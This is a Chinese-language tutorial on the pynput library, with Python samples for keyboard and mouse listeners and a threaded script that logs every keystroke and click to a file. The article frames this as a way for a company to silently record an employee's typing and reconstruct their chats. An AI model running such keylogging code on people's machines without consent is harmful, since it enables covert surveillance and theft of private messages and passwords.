关于 pynput
pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多,比如 pygame 等游戏库,但是当我们只需要监控键盘和鼠标时,它们就显得过于笨重了,我们可以选择轻量,快速的 pynput。
实例
键盘监控
假设公司想要静默为我们的电脑常驻一个后台进程去实现监控我们的键盘输入并记录下来,他们大概可以这样做:
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
复制代码
控制台打印:
鼠标监控
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
复制代码
控制台打印:
你会发现,每条打印都被打印了两次,这是因为按下去和抬起来都会触发鼠标事件。
监控并记录到日志文件
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# 定义日志文件
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# 定义f1用于线程1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# 定义f2用于线程2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起两个线程分别监控键盘和鼠标
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
复制代码
查看日志内容:
如上,我们的键盘操作全部已经被记录,通过对这个日志文件进行简单的 NLTK
语言处理,就能复原你的聊天记录。
以上就是今天的全部内容了,感谢您的阅读,我们下节再会。
到此这篇关于你知道怎么用Python监控聊天记录吗的文章就介绍到这了,更多相关Python 监控内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!